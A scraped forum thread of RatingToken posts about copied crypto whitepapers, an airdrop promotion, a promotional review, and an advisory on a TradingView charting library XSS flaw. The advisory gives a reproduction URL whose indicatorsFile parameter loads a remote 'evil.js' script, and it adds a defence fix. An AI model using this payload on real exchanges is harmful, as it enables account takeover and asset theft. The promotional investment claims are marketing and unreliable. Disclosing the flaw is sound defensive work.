Can you give an example?

Because investors only focus on profit, but they don’t take the initiative to distinguish.

ACE (TokenStars ACE)  vs ACAD (Academy)
According to the data of ratingtoken, the text similarity DAR_(Darcrus): 98.53%.
http://ww1.sinaimg.cn/large/604902cdly1fvo36n460dj20qs0emgn1.jpg


MER (Mercury) vs DAR (Darcrus)
According to the data of ratingtoken, the text similarity DAR_(Darcrus):100%.
http://ww1.sinaimg.cn/large/604902cdly1fvo36y2q4ij20pk0e2wfr.jpg

Recently, a security platform exposed the high-risk vulnerability of TradingView. The security team of RatingToken from Cheetah Mobile Blockchain Security Center assisted multiple cooperative digital currency exchanges at the very first time, to test and repair the TradingView XSS vulnerability. The details are as follow:

Background:

TradingView, an open source and free Candlestick chart analysis tool, is widely used in digital currency and stock exchanges. XSS vulnerabilities can bypass the existing defense mechanism to compromise user accounts, or even arbitrarily transfer assets thereof.

Recurrence:

We found the vulnerability by testing the official website of an exchange.

Accessing https://www.***.com/assets/chart/charting_library/static, we traversed the directory and found where the vulnerability lies

https://cdn-images-1.medium.com/max/800/1*WpGF4q_0_sOaxpdWhmLzaQ.png

/charting_library/static/tv-chart.630b704a2b991e1354cb09.html (630b704a2b991e1354cb09 may change per different contexts) quotes

the script bundles/library.19c99ed5d03091e1354cb09.js (19c99ed5d03091e1354cb09 may change per different contexts)

https://cdn-images-1.medium.com/max/800/1*HF_Fau77r2wOKHc2nudBjw.png

Access

https://www.***.com/assets/chart/charting_library/static/tvchart.630b704a2b9d0eaf1593.html#disabledFeatures=[]&enabledFeatures= []&indicatorsFile=https://***/evil.js

we can see from the picture below that the .js script has been triggered.

https://cdn-images-1.medium.com/max/800/1*juRxoQFhQmOr8zLyI2-gRA.png

Analysis:

In the above recurrence verification, it can be seen that there must be three parameters: disabledFeatures, enabledFeatures and indicatorsFile.

https://cdn-images-1.medium.com/max/800/1*lfXxWjPUAAUz0Wq-JyLkuA.png

It can be seen in the code that the disabledFeatures and enabledFeatures parameters are of illegal formats, and therefore reported errors and stopped working.

While indicatorFile, the most critical parameter for the vulnerability, is used in the code as follows:

https://cdn-images-1.medium.com/max/800/1*edbiS4XlXfU28jqijaq8tg.png

$.getScript loads and executes a JavaScript file from the server via HTTP GET request.

If the victim clicks the constructed link as above, the remote malicious .js file passed by the attacker will be executed, which will result in compromised user accounts, malicious wallet operations and asset loss.

Defense plan

The temporary solution that users can take themselves is:

Disable indicatorsFile parameter in the .js file that starts with library under the bundles directory of the TradingView library.

RatingToken: https://ratingtoken.io/?from=medium

White papers on the market will have similarities more or less.
But we also found that the white papers of some projects are original.
So, the white paper that could have been original, why copy it?
We tested more than 4,000 white papers through technology. White papers with similarities have many smart contract security vulnerabilities

of course This is the case, but these coins is not universal.  The white paper is also a dimension for everyone to read.
The high text similarity of the white paper  is also reflecting some phenomena, and there are many white papers with high similarity.
The rightmost number is the text similarity of the white paper.
http://ww1.sinaimg.cn/large/604902cdgy1fvduije7idj20m307ojs0.jpg

One possible excuse for plagiarism, they have hire someone to write it for them and they didn't know that the one they hire just copied it somewhere else. It is s a valid excuse? I don't think so. If they don't have any reason to scam then they should get someone competent or at least try to check everything because releasing their whitepaper.
[/quote]

Yes, it is possible. Now some ICO projects only want more investors, and do not want to do a good project seriously. If writing a white paper is just a task to prepare for an ICO, such this project also needs to be questioned.

A large number of EOS games such as eosbet have been hacked
RatingToken is following up, please pay attention when you participate in the game.

Correct view. We will do that of course.
Both investors and project parties should pay attention to the plagiarism of white papers.
We will support white paper testing on a technical level.

We just showed some interesting cases, In fact, the textual similarity of plagiarism in these projects is key.
Such as, According to the data of ratingtoken, MTK vs CLR : the text similarity XCLR_(ClearCoin):68.78%, OCTANE_(Octaneum):2.53%.

http://ww1.sinaimg.cn/large/604902cdgy1fv8x38sdglj20lj0auwfb.jpg

Why do you think that no one cares?
The project side hopes to help investors understand the project, understand the problem, solve the problem and make a decision through the white paper.

If the white paper of the project is plagiarism, Investors should carefully consider...
The project side also needs to pay attention.

“It seems that I ever saw this kind of Whitepaper before”. Have you ever encountered such situation? We figured out there are more and more plagiaristic Whitepaper existed since launching ICO projects becomes popular. We found some examples of plagiaristic Whitepaper.

What do you think about the white paper plagiarism?

1. Title Page Plagiarism

STC vs ICR Same font, same version, same logo with different color
https://cdn-images-1.medium.com/max/800/1*pTvs9ywVsTDWb7K3Y2gcBg.png

ABT vs ACT Similar logo, same slogan
https://cdn-images-1.medium.com/max/800/1*ne9m3Kg0LwIG3n7JAsboWA.jpeg

MTK vs CLR Same content type
https://cdn-images-1.medium.com/max/800/1*v6UEsHvdI-CMxrv5aWFgaQ.jpeg

2. Table of Contents Plagiarism

PRTS vs SCI Same content
https://cdn-images-1.medium.com/max/800/1*g7l01IR7rnC1b5k6BFEZ6g.png

VSM vs COI Same content except deleting few chapters & replacing some project information
https://cdn-images-1.medium.com/max/800/1*gA5m0ecx4tG97nEdQ1TfOw.png

AID vs MTE Same content with different sequence
https://cdn-images-1.medium.com/max/800/1*AHdSY27NyRD9TnTcwSzXzw.png

3. Content Plagiarism

STC vs ICR Copy content except picture, we could see that ICR Whitepaper shows blank picture when they couldn’t copy the STC’s picture.
https://cdn-images-1.medium.com/max/800/1*TPPzQrT_mmvTiuMzPHahSw.png

AID vs MTE Same introduction of Platform except replacing project name and deleting inserted picture.
https://cdn-images-1.medium.com/max/800/1*uPIXWyumcuHey-tNFnFaVw.png

BTC vs SUS Same abstract with same title
https://cdn-images-1.medium.com/max/800/1*Yt1tf2aOjab98bwKR65dtA.png

Thanks for your reply 

List your favorite Rating Platform and their pros and cons. 
what would you like to see in such website, write down your request 

💡 Three ways to get FREE Contentos Tokens in RatingToken!

First: ⚽️Attend Activity
Token World Cup https://m.ratingtoken.io/guessindex.html

Second: 💰Attend Airdrop
Finish below steps, Get 50 COS totally!
Step 1: Join Telegram @ratingtoken
Step 2: Follow on Twitter  https://twitter.com/RatingToken_io
Finish above two steps, get free 30 COS!
Step Bonus: Retweet（get extra 20 COS!）
Fill this form: https://www.surveymonkey.com/r/QCD36PX, get your COS!

Third: 👬Invite Friends
Invite Friends to attend the second activity-Airdrop. Invite a friend, you could get 5 COS after your friends finish Airdrop activity. You could invite 10 people maximum!
Please remind your friends to fill your Telegram account when they fill form, we will count according to the form!

Cryptocurrency is reshaping the landscape of our modern world. The rise of blockchain technology has many businesses and investors struggling to keep up, while many are left in the dust. The extreme expansion of the industry brings an overflowing supply of investment opportunities, but many investors find it difficult to make sound choices in an ever-shifting environment of Startups, ICOs, and price changes.

Unfortunately, due to the infancy of this industry, the number of investment opportunities, and the severe lack of any reasonable way to assess these opportunities, the market remains mostly untapped as serious investors and prospective newbies alike find investing too risky or inconsistent.

With no regulations on policies or markets and no unified industry standard of project assessment, many investors turn their heads towards more traditional investment opportunities, which limits the cryptocurrency industry as a whole. RatingToken has taken these concerns and transmuted them into a truly unique and groundbreaking rating system for assessing the risk and reward of cryptocurrency projects. Their data analysis experts utilize the full range of industry resources and big-data collection to formulate clear standards for cryptocurrency projects. This information is free for all and simple to use, making for a new and exciting guide in the murky realm of ICO investing.

The website, https://www.ratingtoken.io/?f=promote, which ranks projects across multiple dimensions, gives investors an objective resource for understanding the potential of each project. The website homepage shows three major rating categories and provides a wealth of data on major projects currently on the market.

The main table that occupies most of the page is called "Best ICO Projects- This is where you can see current and future ICO projects ranked according to their Tech Score", "Hype Score", and their RatingToken official "Rating". The table also shows the project name, industry, and time schedule, which shows the age and duration of the ICO project.

Clicking on any of the projects will open its full page. Here we have access to a full description of the project, illuminating investors as to their goals, ideas, and technology. This page also provides links to the project's website, whitepaper, and social media, along with all of the important financial information, like the price, platform, accepted currencies, and caps.

Two other rating tables are listed, “Top Risky Rank" and "Airdrop Rank". The Airdrop Rank is a good tool for seeing what projects are giving away the most coins to bootstrap their crypto-startup. This allows ICO investors to get in and reap benefits during aggressive giveaways to bolster a strong investment as early as possible.

RatingToken.io is doing some much needed pioneering in the ICO industry that could result in a boom of better informed, more involved, higher paying investors that will stimulate the entire market. More success among investors leads to more dollars invested. This effect could cause an increase in the number of exciting new crypto-startups.

The intelligently formulated ratings along with the full description and information add up to an invaluable resource for investors. It is clear that a service like RatingToken gives investors a sharp edge over competing investors, allowing them to make the safest investing decisions in the ICO marketplace.

Contact Details
Telegram: https://t.me/ratingtoken
Website: https://www.ratingtoken.io/?f=promote